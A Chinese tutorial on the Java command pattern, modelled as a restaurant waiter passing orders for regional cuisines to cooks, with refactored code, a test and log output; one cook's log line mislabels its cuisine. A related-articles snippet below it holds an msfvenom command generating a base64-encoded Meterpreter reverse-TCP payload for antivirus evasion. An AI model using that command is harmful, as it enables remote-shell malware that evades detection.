2024050501-重学 Java 设计模式《实战命令模式》
重学 Java 设计模式:实战命令模式「模拟高档餐厅八大菜系,小二点单厨师烹饪场景」
一、前言
持之以恒的重要性
初学编程往往都很懵,几乎在学习的过程中会遇到各种各样的问题,哪怕别人那运行好好的代码,但你照着写完就报错。但好在你坚持住了,否则你可能看不到这篇文章。时间和成长就是相互关联着,你在哪条路上坚持走的久,就能看见那条的终点有多美,但如果你浪费了一次又一次努力的机会,那么你也会同样错过很多机遇,因为你的路换了。坚持学习、努力成长,持以恒的付出一定会有所收获。
学习方法的重要性
不会学习往往会耽误很多时间,又没有可观的收成。但不会学习有时候是因为懒造成的,尤其是学习视频、书籍资料、技术文档等,如果只是看了却不是实际操作验证,那么真的很难把别人的知识让自己吸收,即使是当时感觉会了也很快就会忘记。时而也经常会有人找到你说;“这个我不知道,你先告诉我,过后我就学。”但过后你学了吗?
你愿意为一个知识盲区付出多长时间
你心里时而会蹦出这样的词吗;太难了我不会
、找个人帮一下吧
、放弃了放弃了
,其实谁都可能遇到很不好解决的问题,也是可以去问去咨询的。但,如果在这之前你没有在自己的大脑中反复的寻找答案,那么你的大脑中就不会形成一个凸点的知识树,缺少了这个学习过程也就缺少了查阅各种资料给自己大脑填充知识的机会,哪怕是问到了答案最终也会因时间流逝而忘记。
二、开发环境
- JDK 1.8
- Idea + Maven
- 涉及工程三个,可以通过关注公众号:
bugstack虫洞栈
,回复源码下载
获取(打开获取的链接,找到序号18)
工程 | 描述 |
---|---|
itstack-demo-design-14-01 | 使用一坨代码实现业务需求 |
itstack-demo-design-14-02 | 通过设计模式优化代码结构,增加扩展性和维护性 |
三、命令模式介绍
- 图片来自:https://refactoringguru.cn/design-patterns/command
命令模式在我们通常的互联网开发中相对来说用的比较少,但这样的模式在我们的日常中却经常使用到,那就是Ctrl+C
、Ctrl+V
。当然如果你开发过一些桌面应用,也会感受到这样设计模式的应用场景。从这样的模式感受上,可以想到这是把逻辑实现与操作请求进行分离,降低耦合方便扩展。
命令模式是行为模式中的一种,以数据驱动的方式将命令对象
,可以使用构造函数的方式传递给调用者。调用者再提供相应的实现为命令执行提供操作方法。可能会感觉这部分有一些饶,可以通过对代码的实现进行理解,在通过实操来熟练。
在这个设计模式的实现过程中有如下几个比较重要的点;
- 抽象命令类;声明执行命令的接口和方法
- 具体的命令实现类;接口类的具体实现,可以是一组相似的行为逻辑
- 实现者;也就是为命令做实现的具体实现类
- 调用者;处理命令、实现的具体操作者,负责对外提供命令服务
四、案例场景模拟
在这个案例中我们模拟在餐厅中点餐交给厨师👨🍳烹饪的场景
命令场景的核心的逻辑是调用方与不需要去关心具体的逻辑实现,在这个场景中也就是点餐人员只需要把需要点的各种菜系交个小二
就可以,小二再把各项菜品交给各个厨师进行烹饪。也就是点餐人员不需要跟各个厨师交流,只需要在统一的环境里下达命令就可以。
在这个场景中可以看到有不同的菜品;山东(鲁菜)、四川(川菜)、江苏(苏菜)、广东(粤菜)、福建(闽菜)、浙江(浙菜)、湖南(湘菜),每种菜品都会有不同的厨师👩🍳进行烹饪。而客户并不会去关心具体是谁烹饪,厨师也不会去关心谁点的餐。客户只关心早点上菜,厨师只关心还有多少个菜要做。而这中间的衔接的过程,由小二完成。
那么在这样的一个模拟场景下,可以先思考🤔哪部分是命令模式的拆解,哪部分是命令的调用者以及命令的实现逻辑。
五、用一坨坨代码实现
不考虑设计模式的情况下,在做这样一个点单系统,有一个类就够了
像是这样一个复杂的场景,如果不知道设计模式直接开发,也是可以达到目的的。但对于后续的各项的菜品扩展、厨师实现以及如何调用上会变得非常耦合难以扩展。
1. 工程结构
itstack-demo-design-14-01
└── src└── main└── java└── org.itstack.demo.design└── XiaoEr.java
- 这里只有一个饭店小二的类,通过这样的一个类实现整个不同菜品的点单逻辑。
2. 代码实现
public class XiaoEr {private Logger logger = LoggerFactory.getLogger(XiaoEr.class);private Map<Integer, String> cuisineMap = new ConcurrentHashMap<Integer, String>();public void order(int cuisine) {// 广东(粤菜)if (1 == cuisine) {cuisineMap.put(1, "广东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头");}// 江苏(苏菜)if (2 == cuisine) {cuisineMap.put(2, "江苏厨师,烹饪苏菜,宫廷第二大菜系,古今国宴上最受人欢迎的菜系。");}// 山东(鲁菜)if (3 == cuisine) {cuisineMap.put(3, "山东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头.");}// 四川(川菜)if (4 == cuisine) {cuisineMap.put(4, "四川厨师,烹饪川菜,中国最有特色的菜系,也是民间最大菜系。");}}public void placeOrder() {logger.info("菜单:{}", JSON.toJSONString(cuisineMap));}}
- 在这个类的实现中提供了两个方法,一个方法用于点单添加菜品
order()
,另外一个方法展示菜品的信息placeOrder()
。 - 从上面可以看到有比较多的if语句判断类型进行添加菜品,那么对于这样的代码后续就需要大量的经历进行维护,同时可能实际的逻辑要比这复杂的多。都写在这样一个类里会变得耦合的非常严重。
六、命令模式重构代码
接下来使用命令模式来进行代码优化,也算是一次很小的重构。
命令模式可以将上述的模式拆解三层大块,命令、命令实现者、命令的调用者,当有新的菜品或者厨师扩充时候就可以在指定的类结构下进行实现添加即可,外部的调用也会非常的容易扩展。
1. 工程结构
itstack-demo-design-14-02
└── src├── main│ └── java│ └── org.itstack.demo.design│ ├── cook│ │ ├── impl│ │ │ ├── GuangDongCook.java│ │ │ ├── JiangSuCook.java│ │ │ ├── ShanDongCook.java│ │ │ └── SiChuanCook.java│ │ └── ICook.java│ ├── cuisine│ │ ├── impl│ │ │ ├── GuangDoneCuisine.java│ │ │ ├── JiangSuCuisine.java│ │ │ ├── ShanDongCuisine.java│ │ │ └── SiChuanCuisine.java│ │ └── ICuisine.java│ └── XiaoEr.java└── test└── java└── org.itstack.demo.test└── ApiTest.java
命令模式模型结构
- 从上图可以看到整体分为三大块;命令实现(菜品)、逻辑实现(厨师)、调用者(小二),以上这三面的实现就是命令模式的核心内容。
- 经过这样的拆解就可以非常方面的扩展菜品、厨师,对于调用者来说这部分都是松耦合的,在整体的框架下可以非常容易加入实现逻辑。
2. 代码实现
2.1 抽象命令定义(菜品接口)
/*** 博客:https://bugstack.cn - 沉淀、分享、成长,让自己和他人都能有所收获!* 公众号:bugstack虫洞栈* Create by 小傅哥(fustack) @2020** 菜系* 01、山东(鲁菜)——宫廷最大菜系,以孔府风味为龙头。* 02、四川(川菜)——中国最有特色的菜系,也是民间最大菜系。* 03、江苏(苏菜)——宫廷第二大菜系,古今国宴上最受人欢迎的菜系。* 04、广东(粤菜)——国内民间第二大菜系,国外最有影响力的中国菜系,可以代表中国。* 05、福建(闽菜)——客家菜的代表菜系。* 06、浙江(浙菜)——中国最古老的菜系之一,宫廷第三大菜系。* 07、湖南(湘菜)——民间第三大菜系。* 08、安徽(徽菜)——徽州文化的典型代表。*/
public interface ICuisine {void cook(); // 烹调、制作}
- 这是命令接口类的定义,并提供了一个烹饪方法。后面会选四种菜品进行实现。
2.2 具体命令实现(四种菜品)
广东(粤菜)
public class GuangDoneCuisine implements ICuisine {private ICook cook;public GuangDoneCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}
江苏(苏菜)
public class JiangSuCuisine implements ICuisine {private ICook cook;public JiangSuCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}
山东(鲁菜)
public class ShanDongCuisine implements ICuisine {private ICook cook;public ShanDongCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}
四川(川菜)
public class SiChuanCuisine implements ICuisine {private ICook cook;public SiChuanCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}
- 以上是四种菜品的实现,在实现的类中都有添加了一个厨师类(
ICook
),并通过这个类提供的方法进行操作命令(烹饪菜品)cook.doCooking()
。 - 命令的实现过程可以是按照逻辑进行添加补充,目前这里抽象的比较简单,只是模拟一个烹饪的过程,相当于同时厨师进行菜品烹饪。
2.3 抽象实现者定义(厨师接口)
public interface ICook {void doCooking();}
- 这里定义的是具体的为命令的实现者,这里也就是菜品对应的厨师烹饪的指令实现。
2.4 实现者具体实现(四类厨师)
粤菜,厨师
public class GuangDongCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("广东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头");}}
苏菜,厨师
public class JiangSuCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("江苏厨师,烹饪苏菜,宫廷第二大菜系,古今国宴上最受人欢迎的菜系。");}}
鲁菜,厨师
public class ShanDongCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("山东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头");}}
苏菜,厨师
public class SiChuanCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("四川厨师,烹饪川菜,中国最有特色的菜系,也是民间最大菜系。");}}
- 这里是四类不同菜品的厨师👩🍳,在这个实现的过程是模拟打了日志,相当于通知了厨房里具体的厨师进行菜品烹饪。
- 从以上可以看到,当我们需要进行扩从的时候是可以非常方便的进行添加的,每一个类都具备了单一职责原则。
2.5 调用者(小二)
public class XiaoEr {private Logger logger = LoggerFactory.getLogger(XiaoEr.class);private List<ICuisine> cuisineList = new ArrayList<ICuisine>();public void order(ICuisine cuisine) {cuisineList.add(cuisine);}public synchronized void placeOrder() {for (ICuisine cuisine : cuisineList) {cuisine.cook();}cuisineList.clear();}}
- 在调用者的具体实现中,提供了菜品的添加和菜单执行烹饪。这个过程是命令模式的具体调用,通过外部将菜品和厨师传递进来而进行具体的调用。
3. 测试验证
3.1 编写测试类
@Test
public void test(){// 菜系 + 厨师;广东(粤菜)、江苏(苏菜)、山东(鲁菜)、四川(川菜)ICuisine guangDoneCuisine = new GuangDoneCuisine(new GuangDongCook());JiangSuCuisine jiangSuCuisine = new JiangSuCuisine(new JiangSuCook());ShanDongCuisine shanDongCuisine = new ShanDongCuisine(new ShanDongCook());SiChuanCuisine siChuanCuisine = new SiChuanCuisine(new SiChuanCook());// 点单XiaoEr xiaoEr = new XiaoEr();xiaoEr.order(guangDoneCuisine);xiaoEr.order(jiangSuCuisine);xiaoEr.order(shanDongCuisine);xiaoEr.order(siChuanCuisine);// 下单xiaoEr.placeOrder();
}
- 这里可以主要观察
菜品
与厨师
的组合;new GuangDoneCuisine(new GuangDongCook());
,每一个具体的命令都拥有一个对应的实现类,可以进行组合。 - 当菜品和具体的实现定义完成后,由小二进行操作点单,
xiaoEr.order(guangDoneCuisine);
,这里分别添加了四种菜品,给小二。 - 最后是下单,这个是具体命令实现的操作,相当于把小二手里的菜单传递给厨师。当然这里也可以提供删除和撤销,也就是客户取消了自己的某个菜品。
3.2 测试结果
22:12:13.056 [main] INFO org.itstack.demo.design.cook.ICook - 广东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头
22:12:13.059 [main] INFO org.itstack.demo.design.cook.ICook - 江苏厨师,烹饪苏菜,宫廷第二大菜系,古今国宴上最受人欢迎的菜系。
22:12:13.059 [main] INFO org.itstack.demo.design.cook.ICook - 山东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头
22:12:13.059 [main] INFO org.itstack.demo.design.cook.ICook - 四川厨师,烹饪川菜,中国最有特色的菜系,也是民间最大菜系。Process finished with exit code 0
- 从上面的测试结果可以看到,我们已经交给调用者(小二)的点单,由不同的厨师具体实现(烹饪)。
- 此外当我们需要不同的菜品时候或者修改时候都可以非常方便的添加和修改,在具备单一职责的类下,都可以非常方便的扩展。
七、总结
- 从以上的内容和例子可以感受到,命令模式的使用场景需要分为三个比较大的块;
命令
、实现
、调用者
,而这三块内容的拆分也是选择适合场景的关键因素,经过这样的拆分可以让逻辑具备单一职责的性质,便于扩展。 - 通过这样的实现方式与if语句相比,降低了耦合性也方便其他的命令和实现的扩展。但同时这样的设计模式也带来了一点问题,就是在各种命令与实现的组合下,会扩展出很多的实现类,需要进行管理。
- 设计模式的学习一定要勤加练习,哪怕最开始是模仿实现也是可以的,多次的练习后再去找到一些可以优化的场景,并逐步运用到自己的开发中。提升自己对代码的设计感觉,让代码结构更加清晰易扩展。
相关文章:

2024050501-重学 Java 设计模式《实战命令模式》
重学 Java 设计模式:实战命令模式「模拟高档餐厅八大菜系,小二点单厨师烹饪场景」 一、前言 持之以恒的重要性 初学编程往往都很懵,几乎在学习的过程中会遇到各种各样的问题,哪怕别人那运行好好的代码,但你照着写完…...
0104__Linux 中 nm 命令简介
Linux 中 nm 命令简介_linux nm-CSDN博客...
Linux网络服务
01 Linux网络设置 02 DHCP原理与配置 03 DNS域名解析服务 04 远程访问及控制 05 部署YUM仓库及NFS共享服务 06 PXE高效批量网络装机...

Vue18-列表渲染
一、v-for渲染列表 1-1、遍历数组(用的多) 1-2、key属性 让每一个<li>都有一个唯一的标识! 1、写法一 只有用了遍历的方式(v-for)来生成多个同样结构的数据,必须给每个结构取一个唯一的标识。 2、写法二 或者:…...

【三维重建】增量SFM系统
在学习完鲁鹏老师的三维重建基础后,打算用C代码复现一下增量SFM系统(https://github.com/ldx-star/SFM)。 本项目的最终目标就是通过相机拍摄的多视角视图获取三维点云。由于资金有效,博主使用的是相机是小米12。 先来看一下最终…...

PyTorch 维度变换-Tensor基本操作
以如下 tensor a 为例,展示常用的维度变换操作 >>> a torch.rand(4,3,28,28) >>> a.shape torch.Size([4, 3, 28, 28])view / reshape 两者功能完全相同: a.view(shape) >>> a.view(4,3,28*28) ## a.view(4,3,28,28) 可恢复squeeze…...
spring 事务失效的几种场景
一、背景 在 springBoot 开发过程中,我们一般都是在业务方法上添加 Transactional 注解来让 spring 替我们管理事务,但在某些特定的场景下,添加完注解之后,事务是不生效的,接下来详细介绍下。 二、方法不是 public 2…...

45岁程序员独白:中年打工人出路在哪里?
作为一名也是JAVA方向的互联网从业者,我发现周围超过40岁以上的同事,基本都是部门负责人或者高层,真正还在一线做开发或者当个小领导的,已经是凤毛麟角了。 同事A今年刚满40,育有一儿一女,从进入公司到现在…...

深度探讨:为何训练精度不高却在测试中表现优异?
深度探讨:为何训练精度不高却在测试中表现优异? 在深度学习领域,我们经常遇到这样一个看似矛盾的现象:模型在训练集上的精度不是特别高,但在测试集上却能达到出色的表现。这种情况虽然不是常规,但其背后的…...

动态内存管理<C语言>
导言 在C语言学习阶段,指针、结构体和动态内存管理,是后期学习数据结构的最重要的三大知识模块,也是C语言比较难的知识模块,但是“天下无难事”,只要认真踏实的学习,也能解决,所以下文将介绍动态…...

第一百零二节 Java面向对象设计 - Java静态内部类
Java面向对象设计 - Java静态内部类 静态成员类不是内部类 在另一个类的主体中定义的成员类可以声明为静态。 例子 以下代码声明了顶级类A和静态成员类B: class A {// Static member classpublic static class B {// Body for class B goes here} }注意 静态成…...
给自己Linux搞个『回收站』,防止文件误删除
linux没有像windows里一样的回收站,工作时候删除文件容易不小心删错,造成麻烦的后果。所以给自己整了个回收站: 文件删除,新建~/opts/move_to_trash.sh,然后在里面新增,将${your_name}改成你的用户名。同时…...
Springboot接收参数的21种方式
前言 最近一直在忙着开发项目(ps:其实有些摆烂),好久没有更新博客了,打开csdn一看好多网友留言私信,继上篇博客(我是如何实现HttpGet请求传body参数的!),网友议论纷纷,各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式(Post、Get、Delete),一并…...

打造出色开发者体验的十大原则
大约十年前我是一名CIO,当时我在评估一种技术解决方案,向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求,但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...

Vue3_对接腾讯云COS_大文件分片上传和下载
目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档: 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...
python免杀--base64加密(GG)
单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...
Python版与Java版城市天气信息爬取对比分析
在对比Python版和Java版城市天气信息爬取时,我们需要考虑多个方面,包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析: 1. 语言特性 Python: 易于学习:Python的语法清…...

CSS真题合集(二)
CSS真题合集(二) 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...

长期出汗困扰你?可能是肾合出了问题
想象一下,我们的身体是一座繁茂的秘密花园,每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水,则是这花园中无声的语言,它讲述着我们的健康与否,也揭示着身体内部的微妙变化。 在炎炎夏日,身体如盛开…...
Jmeter函数二次开发说明
jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖,需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...

【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力
引言: 在人工智能快速发展的浪潮中,快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型(LLM)。该模型代表着该领域的重大突破,通过独特方式融合思考与非思考…...

BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
6月5日,2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席,并作《智能体在安全领域的应用实践》主题演讲,分享了在智能体在安全领域的突破性实践。他指出,百度通过将安全能力…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
MySQL用户和授权
开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务: test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...

AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...

springboot整合VUE之在线教育管理系统简介
可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生,小白用户,想学习知识的 有点基础,想要通过项…...
比较数据迁移后MySQL数据库和OceanBase数据仓库中的表
设计一个MySQL数据库和OceanBase数据仓库的表数据比较的详细程序流程,两张表是相同的结构,都有整型主键id字段,需要每次从数据库分批取得2000条数据,用于比较,比较操作的同时可以再取2000条数据,等上一次比较完成之后,开始比较,直到比较完所有的数据。比较操作需要比较…...

(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...